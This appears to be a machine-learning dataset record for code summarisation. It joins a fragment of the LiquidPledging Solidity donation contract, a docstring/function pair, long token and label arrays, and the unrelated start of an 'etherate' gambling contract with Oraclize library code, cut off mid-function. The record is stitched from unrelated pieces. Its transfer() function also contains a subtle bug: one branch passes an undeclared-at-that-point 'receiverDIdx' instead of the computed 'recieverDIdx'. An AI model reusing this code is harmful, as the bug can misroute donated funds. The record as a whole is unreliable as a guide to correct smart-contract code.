function useWhitelist(bool useWhitelist) external onlyOwner {
usePluginWhitelist = useWhitelist;
}
function isValidPlugin(address addr) public returns(bool) {
if (!usePluginWhitelist || addr == 0x0) return true;
bytes32 contractHash = getCodeHash(addr);
return pluginWhitelist[contractHash];
}
function getCodeHash(address addr) public returns(bytes32) {
bytes memory o_code;
assembly {
// retrieve the size of the code, this needs assembly
let size := extcodesize(addr)
// allocate output byte array - this could also be done without assembly
// by using o_code = new bytes(size)
o_code := mload(0x40)
// new "memory end" including padding
mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
// store length in memory
mstore(o_code, size)
// actually retrieve the code, this needs assembly
extcodecopy(addr, add(o_code, 0x20), 0, size)
}
return keccak256(o_code);
}
}
//File: contracts/LiquidPledging.sol
pragma solidity ^0.4.11;
/*
Copyright 2017, Jordi Baylina
Contributors: Adrià Massanet <[email protected]>, RJ Ewing, Griff
Green, Arthur Lunn
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @dev `LiquidPleding` allows for liquid pledging through the use of
/// internal id structures and delegate chaining. All basic operations for
/// handling liquid pledging are supplied as well as plugin features
/// to allow for expanded functionality.
contract LiquidPledging is LiquidPledgingBase {
//////
// Constructor
//////
/// @notice Basic constructor for LiquidPleding, also calls the
/// LiquidPledgingBase contract
/// @dev This constructor also calls the constructor
/// for `LiquidPledgingBase`
/// @param _vault The vault where ETH backing this pledge is stored
function LiquidPledging(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) LiquidPledgingBase(_vault, _escapeHatchCaller, _escapeHatchDestination) {
}
/// @notice This is how value enters the system and how pledges are created;
/// the ether is sent to the vault, an pledge for the Giver is created (or
/// found), the amount of ETH donated in wei is added to the `amount` in
/// the Giver's Pledge, and an LP transfer is done to the idReceiver for
/// the full amount
/// @param idGiver The id of the Giver donating; if 0, a new id is created
/// @param idReceiver The Admin receiving the donation; can be any Admin:
/// the Giver themselves, another Giver, a Delegate or a Project
function donate(uint64 idGiver, uint64 idReceiver) payable {
if (idGiver == 0) {
// default to a 3 day (259200 seconds) commitTime
idGiver = addGiver("", "", 259200, ILiquidPledgingPlugin(0x0));
}
PledgeAdmin storage sender = findAdmin(idGiver);
checkAdminOwner(sender);
require(sender.adminType == PledgeAdminType.Giver);
uint amount = msg.value;
require(amount > 0);
vault.transfer(amount); // Sends the `msg.value` (in wei) to the `vault`
uint64 idPledge = findOrCreatePledge(
idGiver,
new uint64[](0), // Creates empty array for delegationChain
0,
0,
0,
PledgeState.Pledged
);
Pledge storage nTo = findPledge(idPledge);
nTo.amount += amount;
Transfer(0, idPledge, amount); // An event
transfer(idGiver, idPledge, amount, idReceiver); // LP accounting
}
/// @notice Transfers amounts between pledges for internal accounting
/// @param idSender Id of the Admin that is transferring the amount from
/// Pledge to Pledge; this admin must have permissions to move the value
/// @param idPledge Id of the pledge that's moving the value
/// @param amount Quantity of ETH (in wei) that this pledge is transferring
/// the authority to withdraw from the vault
/// @param idReceiver Destination of the `amount`, can be a Giver/Project sending
/// to a Giver, a Delegate or a Project; a Delegate sending to another
/// Delegate, or a Delegate pre-commiting it to a Project
function transfer(
uint64 idSender,
uint64 idPledge,
uint amount,
uint64 idReceiver
){
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage receiver = findAdmin(idReceiver);
PledgeAdmin storage sender = findAdmin(idSender);
checkAdminOwner(sender);
require(p.pledgeState == PledgeState.Pledged);
// If the sender is the owner of the Pledge
if (p.owner == idSender) {
if (receiver.adminType == PledgeAdminType.Giver) {
transferOwnershipToGiver(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Project) {
transferOwnershipToProject(idPledge, amount, idReceiver);
} else if (receiver.adminType == PledgeAdminType.Delegate) {
uint recieverDIdx = getDelegateIdx(p, idReceiver);
if (p.intendedProject > 0 && recieverDIdx != NOTFOUND) {
// if there is an intendedProject and the receiver is in the delegationChain,
// then we want to preserve the delegationChain as this is a veto of the
// intendedProject by the owner
if (recieverDIdx == p.delegationChain.length - 1) {
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged);
doTransfer(idPledge, toPledge, amount);
} else {
undelegate(idPledge, amount, p.delegationChain.length - receiverDIdx - 1);
}
} else {
// owner is not vetoing an intendedProject and is transferring the pledge to a delegate,
// so we want to reset the delegationChain
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length
);
appendDelegate(idPledge, amount, idReceiver);
}
} else {
// This should never be reached as the reciever.adminType
// should always be either a Giver, Project, or Delegate
assert(false);
}
return;
}
// If the sender is a Delegate
uint senderDIdx = getDelegateIdx(p, idSender);
if (senderDIdx != NOTFOUND) {
// And the receiver is another Giver
if (receiver.adminType == PledgeAdminType.Giver) {
// Only transfer to the Giver who owns the pldege
assert(p.owner == idReceiver);
undelegate(idPledge, amount, p.delegationChain.length);
return;
}
// And the receiver is another Delegate
if (receiver.adminType == PledgeAdminType.Delegate) {
uint receiverDIdx = getDelegateIdx(p, idReceiver);
// And not in the delegationChain
if (receiverDIdx == NOTFOUND) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
// And part of the delegationChain and is after the sender, then
// all of the other delegates after the sender are removed and
// the receiver is appended at the end of the delegationChain
} else if (receiverDIdx > senderDIdx) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
appendDelegate(idPledge, amount, idReceiver);
// And is already part of the delegate chain but is before the
// sender, then the sender and all of the other delegates after
// the RECEIVER are removed from the delegationChain
} else if (receiverDIdx <= senderDIdx) {//TODO Check for Game Theory issues (from Arthur) this allows the sender to sort of go komakosi and remove himself and the delegates between himself and the receiver... should this authority be allowed?
undelegate(
idPledge,
amount,
p.delegationChain.length - receiverDIdx - 1
);
}
return;
}
// And the receiver is a Project, all the delegates after the sender
// are removed and the amount is pre-committed to the project
if (receiver.adminType == PledgeAdminType.Project) {
idPledge = undelegate(
idPledge,
amount,
p.delegationChain.length - senderDIdx - 1
);
proposeAssignProject(idPledge, amount, idReceiver);
return;
}
}
assert(false); // When the sender is not an owner or a delegate
}
/// @notice Authorizes a payment be made from the `vault` can be used by the
/// Giver to veto a pre-committed donation from a Delegate to an
/// intendedProject
/// @param idPledge Id of the pledge that is to be redeemed into ether
/// @param amount Quantity of ether (in wei) to be authorized
function withdraw(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge); // Updates pledge info
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Pledged);
PledgeAdmin storage owner = findAdmin(p.owner);
checkAdminOwner(owner);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paying
);
doTransfer(idPledge, idNewPledge, amount);
vault.authorizePayment(bytes32(idNewPledge), owner.addr, amount);
}
/// @notice `onlyVault` Confirms a withdraw request changing the PledgeState
/// from Paying to Paid
/// @param idPledge Id of the pledge that is to be withdrawn
/// @param amount Quantity of ether (in wei) to be withdrawn
function confirmPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying);
uint64 idNewPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Paid
);
doTransfer(idPledge, idNewPledge, amount);
}
/// @notice `onlyVault` Cancels a withdraw request, changing the PledgeState
/// from Paying back to Pledged
/// @param idPledge Id of the pledge that's withdraw is to be canceled
/// @param amount Quantity of ether (in wei) to be canceled
function cancelPayment(uint64 idPledge, uint amount) onlyVault {
Pledge storage p = findPledge(idPledge);
require(p.pledgeState == PledgeState.Paying); //TODO change to revert????????????????????????????
// When a payment is canceled, never is assigned to a project.
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
oldPledge = normalizePledge(oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
/// @notice Changes the `project.canceled` flag to `true`; cannot be undone
/// @param idProject Id of the project that is to be canceled
function cancelProject(uint64 idProject) {
PledgeAdmin storage project = findAdmin(idProject);
checkAdminOwner(project);
project.canceled = true;
CancelProject(idProject);
}
/// @notice Transfers `amount` in `idPledge` back to the `oldPledge` that
/// that sent it there in the first place, a Ctrl-z
/// @param idPledge Id of the pledge that is to be canceled
/// @param amount Quantity of ether (in wei) to be transfered to the
/// `oldPledge`
function cancelPledge(uint64 idPledge, uint amount) {
idPledge = normalizePledge(idPledge);
Pledge storage p = findPledge(idPledge);
require(p.oldPledge != 0);
PledgeAdmin storage m = findAdmin(p.owner);
checkAdminOwner(m);
uint64 oldPledge = getOldestPledgeNotCanceled(p.oldPledge);
doTransfer(idPledge, oldPledge, amount);
}
////////
// Multi pledge methods
////////
// @dev This set of functions makes moving a lot of pledges around much more
// efficient (saves gas) than calling these functions in series
/// @dev Bitmask used for dividing pledge amounts in Multi pledge methods
uint constant D64 = 0x10000000000000000;
/// @notice Transfers multiple amounts within multiple Pledges in an
/// efficient single call
/// @param idSender Id of the Admin that is transferring the amounts from
/// all the Pledges; this admin must have permissions to move the value
/// @param pledgesAmounts An array of Pledge amounts and the idPledges with
/// which the amounts are associated; these are extrapolated using the D64
/// bitmask
/// @param idReceiver Destination of the `pledesAmounts`, can be a Giver or
/// Project sending to a Giver, a Delegate or a Project; a Delegate sending
/// to another Delegate, or a Delegate pre-commiting it to a Project
function mTransfer(
uint64 idSender,
uint[] pledgesAmounts,
uint64 idReceiver
) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
transfer(idSender, idPledge, amount, idReceiver);
}
}
/// @notice Authorizes multiple amounts within multiple Pledges to be
/// withdrawn from the `vault` in an efficient single call
/// @param pledgesAmounts An array of Pledge amounts and the idPledges with
/// which the amounts are associated; these are extrapolated using the D64
/// bitmask
function mWithdraw(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
withdraw(idPledge, amount);
}
}
/// @notice `mConfirmPayment` allows for multiple pledges to be confirmed
/// efficiently
/// @param pledgesAmounts An array of pledge amounts and IDs which are extrapolated
/// using the D64 bitmask
function mConfirmPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
confirmPayment(idPledge, amount);
}
}
/// @notice `mCancelPayment` allows for multiple pledges to be canceled
/// efficiently
/// @param pledgesAmounts An array of pledge amounts and IDs which are extrapolated
/// using the D64 bitmask
function mCancelPayment(uint[] pledgesAmounts) {
for (uint i = 0; i < pledgesAmounts.length; i++ ) {
uint64 idPledge = uint64( pledgesAmounts[i] & (D64-1) );
uint amount = pledgesAmounts[i] / D64;
cancelPayment(idPledge, amount);
}
}
/// @notice `mNormalizePledge` allows for multiple pledges to be
/// normalized efficiently
/// @param pledges An array of pledge IDs
function mNormalizePledge(uint64[] pledges) {
for (uint i = 0; i < pledges.length; i++ ) {
normalizePledge( pledges[i] );
}
}
////////
// Private methods
///////
/// @notice `transferOwnershipToProject` allows for the transfer of
/// ownership to the project, but it can also be called by a project
/// to un-delegate everyone by setting one's own id for the idReceiver
/// @param idPledge Id of the pledge to be transfered.
/// @param amount Quantity of value that's being transfered
/// @param idReceiver The new owner of the project (or self to un-delegate)
function transferOwnershipToProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
// Ensure that the pledge is not already at max pledge depth
// and the project has not been canceled
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
idReceiver, // Set the new owner
new uint64[](0), // clear the delegation chain
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
/// @notice `transferOwnershipToGiver` allows for the transfer of
/// value back to the Giver, value is placed in a pledged state
/// without being attached to a project, delegation chain, or time line.
/// @param idPledge Id of the pledge to be transfered.
/// @param amount Quantity of value that's being transfered
/// @param idReceiver The new owner of the pledge
function transferOwnershipToGiver(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
uint64 toPledge = findOrCreatePledge(
idReceiver,
new uint64[](0),
0,
0,
0,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
/// @notice `appendDelegate` allows for a delegate to be added onto the
/// end of the delegate chain for a given Pledge.
/// @param idPledge Id of the pledge thats delegate chain will be modified.
/// @param amount Quantity of value that's being chained.
/// @param idReceiver The delegate to be added at the end of the chain
function appendDelegate(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(p.delegationChain.length < MAX_DELEGATES);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length + 1
);
for (uint i = 0; i<p.delegationChain.length; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
// Make the last item in the array the idReceiver
newDelegationChain[p.delegationChain.length] = idReceiver;
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
/// @notice `appendDelegate` allows for a delegate to be added onto the
/// end of the delegate chain for a given Pledge.
/// @param idPledge Id of the pledge thats delegate chain will be modified.
/// @param amount Quantity of value that's shifted from delegates.
/// @param q Number (or depth) of delegates to remove
/// @return toPledge The id for the pledge being adjusted or created
function undelegate(
uint64 idPledge,
uint amount,
uint q
) internal returns (uint64)
{
Pledge storage p = findPledge(idPledge);
uint64[] memory newDelegationChain = new uint64[](
p.delegationChain.length - q
);
for (uint i=0; i<p.delegationChain.length - q; i++) {
newDelegationChain[i] = p.delegationChain[i];
}
uint64 toPledge = findOrCreatePledge(
p.owner,
newDelegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
return toPledge;
}
/// @notice `proposeAssignProject` proposes the assignment of a pledge
/// to a specific project.
/// @dev This function should potentially be named more specifically.
/// @param idPledge Id of the pledge that will be assigned.
/// @param amount Quantity of value this pledge leader would be assigned.
/// @param idReceiver The project this pledge will potentially
/// be assigned to.
function proposeAssignProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
idReceiver,
uint64(getTime() + maxCommitTime(p)),
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
/// @notice `doTransfer` is designed to allow for pledge amounts to be
/// shifted around internally.
/// @param from This is the Id from which value will be transfered.
/// @param to This is the Id that value will be transfered to.
/// @param _amount The amount of value that will be transfered.
function doTransfer(uint64 from, uint64 to, uint _amount) internal {
uint amount = callPlugins(true, from, to, _amount);
if (from == to) {
return;
}
if (amount == 0) {
return;
}
Pledge storage nFrom = findPledge(from);
Pledge storage nTo = findPledge(to);
require(nFrom.amount >= amount);
nFrom.amount -= amount;
nTo.amount += amount;
Transfer(from, to, amount);
callPlugins(false, from, to, amount);
}
/// @notice Only affects pledges with the Pledged PledgeState for 2 things:
/// #1: Checks if the pledge should be committed. This means that
/// if the pledge has an intendedProject and it is past the
/// commitTime, it changes the owner to be the proposed project
/// (The UI will have to read the commit time and manually do what
/// this function does to the pledge for the end user
/// at the expiration of the commitTime)
///
/// #2: Checks to make sure that if there has been a cancellation in the
/// chain of projects, the pledge's owner has been changed
/// appropriately.
///
/// This function can be called by anybody at anytime on any pledge.
/// In general it can be called to force the calls of the affected
/// plugins, which also need to be predicted by the UI
/// @param idPledge This is the id of the pledge that will be normalized
/// @return The normalized Pledge!
function normalizePledge(uint64 idPledge) returns(uint64) {
Pledge storage p = findPledge(idPledge);
// Check to make sure this pledge hasn't already been used
// or is in the process of being used
if (p.pledgeState != PledgeState.Pledged) {
return idPledge;
}
// First send to a project if it's proposed and committed
if ((p.intendedProject > 0) && ( getTime() > p.commitTime)) {
uint64 oldPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
0,
0,
p.oldPledge,
PledgeState.Pledged
);
uint64 toPledge = findOrCreatePledge(
p.intendedProject,
new uint64[](0),
0,
0,
oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, p.amount);
idPledge = toPledge;
p = findPledge(idPledge);
}
toPledge = getOldestPledgeNotCanceled(idPledge);
if (toPledge != idPledge) {
doTransfer(idPledge, toPledge, p.amount);
}
return toPledge;
}
/////////////
// Plugins
/////////////
/// @notice `callPlugin` is used to trigger the general functions in the
/// plugin for any actions needed before and after a transfer happens.
/// Specifically what this does in relation to the plugin is something
/// that largely depends on the functions of that plugin. This function
/// is generally called in pairs, once before, and once after a transfer.
/// @param before This toggle determines whether the plugin call is occurring
/// before or after a transfer.
/// @param adminId This should be the Id of the *trusted* individual
/// who has control over this plugin.
/// @param fromPledge This is the Id from which value is being transfered.
/// @param toPledge This is the Id that value is being transfered to.
/// @param context The situation that is triggering the plugin. See plugin
/// for a full description of contexts.
/// @param amount The amount of value that is being transfered.
function callPlugin(
bool before,
uint64 adminId,
uint64 fromPledge,
uint64 toPledge,
uint64 context,
uint amount
) internal returns (uint allowedAmount) {
uint newAmount;
allowedAmount = amount;
PledgeAdmin storage admin = findAdmin(adminId);
// Checks admin has a plugin assigned and a non-zero amount is requested
if ((address(admin.plugin) != 0) && (allowedAmount > 0)) {
// There are two seperate functions called in the plugin.
// One is called before the transfer and one after
if (before) {
newAmount = admin.plugin.beforeTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
require(newAmount <= allowedAmount);
allowedAmount = newAmount;
} else {
admin.plugin.afterTransfer(
adminId,
fromPledge,
toPledge,
context,
amount
);
}
}
}
/// @notice `callPluginsPledge` is used to apply plugin calls to
/// the delegate chain and the intended project if there is one.
/// It does so in either a transferring or receiving context based
/// on the `idPledge` and `fromPledge` parameters.
/// @param before This toggle determines whether the plugin call is occuring
/// before or after a transfer.
/// @param idPledge This is the Id of the pledge on which this plugin
/// is being called.
/// @param fromPledge This is the Id from which value is being transfered.
/// @param toPledge This is the Id that value is being transfered to.
/// @param amount The amount of value that is being transfered.
function callPluginsPledge(
bool before,
uint64 idPledge,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
// Determine if callPlugin is being applied in a receiving
// or transferring context
uint64 offset = idPledge == fromPledge ? 0 : 256;
allowedAmount = amount;
Pledge storage p = findPledge(idPledge);
// Always call the plugin on the owner
allowedAmount = callPlugin(
before,
p.owner,
fromPledge,
toPledge,
offset,
allowedAmount
);
// Apply call plugin to all delegates
for (uint64 i=0; i<p.delegationChain.length; i++) {
allowedAmount = callPlugin(
before,
p.delegationChain[i],
fromPledge,
toPledge,
offset + i+1,
allowedAmount
);
}
// If there is an intended project also call the plugin in
// either a transferring or receiving context based on offset
// on the intended project
if (p.intendedProject > 0) {
allowedAmount = callPlugin(
before,
p.intendedProject,
fromPledge,
toPledge,
offset + 255,
allowedAmount
);
}
}
/// @notice `callPlugins` calls `callPluginsPledge` once for the transfer
/// context and once for the receiving context. The aggregated
/// allowed amount is then returned.
/// @param before This toggle determines whether the plugin call is occurring
/// before or after a transfer.
/// @param fromPledge This is the Id from which value is being transferred.
/// @param toPledge This is the Id that value is being transferred to.
/// @param amount The amount of value that is being transferred.
function callPlugins(
bool before,
uint64 fromPledge,
uint64 toPledge,
uint amount
) internal returns (uint allowedAmount) {
allowedAmount = amount;
// Call the pledges plugins in the transfer context
allowedAmount = callPluginsPledge(
before,
fromPledge,
fromPledge,
toPledge,
allowedAmount
);
// Call the pledges plugins in the receive context
allowedAmount = callPluginsPledge(
before,
toPledge,
fromPledge,
toPledge,
allowedAmount
);
}
/////////////
// Test functions
/////////////
/// @notice Basic helper function to return the current time
function getTime() internal returns (uint) {
return now;
}
// Event Delcerations
event Transfer(uint64 indexed from, uint64 indexed to, uint amount);
event CancelProject(uint64 indexed idProject);
}
| @notice `proposeAssignProject` proposes the assignment of a pledge to a specific project. @dev This function should potentially be named more specifically. @param idPledge Id of the pledge that will be assigned. @param amount Quantity of value this pledge leader would be assigned. @param idReceiver The project this pledge will potentially be assigned to. | function proposeAssignProject(
uint64 idPledge,
uint amount,
uint64 idReceiver
) internal {
Pledge storage p = findPledge(idPledge);
require(getPledgeLevel(p) < MAX_INTERPROJECT_LEVEL);
require(!isProjectCanceled(idReceiver));
uint64 toPledge = findOrCreatePledge(
p.owner,
p.delegationChain,
idReceiver,
uint64(getTime() + maxCommitTime(p)),
p.oldPledge,
PledgeState.Pledged
);
doTransfer(idPledge, toPledge, amount);
}
| 12,923,223 | [
1,
68,
685,
4150,
4910,
4109,
68,
450,
10522,
326,
6661,
434,
279,
293,
19998,
225,
358,
279,
2923,
1984,
18,
225,
1220,
445,
1410,
13935,
506,
4141,
1898,
21195,
18,
225,
612,
52,
19998,
3124,
434,
326,
293,
19998,
716,
903,
506,
6958,
18,
225,
3844,
18189,
434,
460,
333,
293,
19998,
10302,
4102,
506,
6958,
18,
225,
612,
12952,
1021,
1984,
333,
293,
19998,
903,
13935,
225,
506,
6958,
358,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
450,
4150,
4910,
4109,
12,
203,
3639,
2254,
1105,
612,
52,
19998,
16,
203,
3639,
2254,
3844,
16,
203,
3639,
2254,
1105,
612,
12952,
203,
565,
262,
2713,
288,
203,
3639,
453,
19998,
2502,
293,
273,
1104,
52,
19998,
12,
350,
52,
19998,
1769,
203,
203,
3639,
2583,
12,
588,
52,
19998,
2355,
12,
84,
13,
411,
4552,
67,
9125,
17147,
67,
10398,
1769,
203,
3639,
2583,
12,
5,
291,
4109,
23163,
12,
350,
12952,
10019,
203,
203,
3639,
2254,
1105,
358,
52,
19998,
273,
1104,
17717,
52,
19998,
12,
203,
5411,
293,
18,
8443,
16,
203,
5411,
293,
18,
3771,
1332,
367,
3893,
16,
203,
5411,
612,
12952,
16,
203,
5411,
2254,
1105,
12,
588,
950,
1435,
397,
943,
5580,
950,
12,
84,
13,
3631,
203,
5411,
293,
18,
1673,
52,
19998,
16,
203,
5411,
453,
19998,
1119,
18,
52,
1259,
2423,
203,
3639,
11272,
203,
3639,
741,
5912,
12,
350,
52,
19998,
16,
358,
52,
19998,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//etherate v.2.0
//EtheRate – is the first in the world, an honest pool of crypto-rates, based on absolute randomness!
//Official WEB-client: etherate.org
//Talk to us on Discord.gg/nEnApvF
/*
╔═══╗╔════╗╔╗─╔╗╔═══╗╔═══╗╔═══╗╔════╗╔═══╗
║╔══╝║╔╗╔╗║║║─║║║╔══╝║╔═╗║║╔═╗║║╔╗╔╗║║╔══╝
║╚══╗╚╝║║╚╝║╚═╝║║╚══╗║╚═╝║║║─║║╚╝║║╚╝║╚══╗
║╔══╝──║║──║╔═╗║║╔══╝║╔╗╔╝║╚═╝║──║║──║╔══╝
║╚══╗──║║──║║─║║║╚══╗║║║╚╗║╔═╗║──║║──║╚══╗
╚═══╝──╚╝──╚╝─╚╝╚═══╝╚╝╚═╝╚╝─╚╝──╚╝──╚═══╝
*/
//69 84 72 69 82 65 84 69
pragma solidity ^0.4.25;
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary
pragma solidity >=0.4.18;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
/*
Begin solidity-cborutils
https://github.com/smartcontractkit/solidity-cborutils
MIT License
Copyright (c) 2018 SmartContract ChainLink, Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
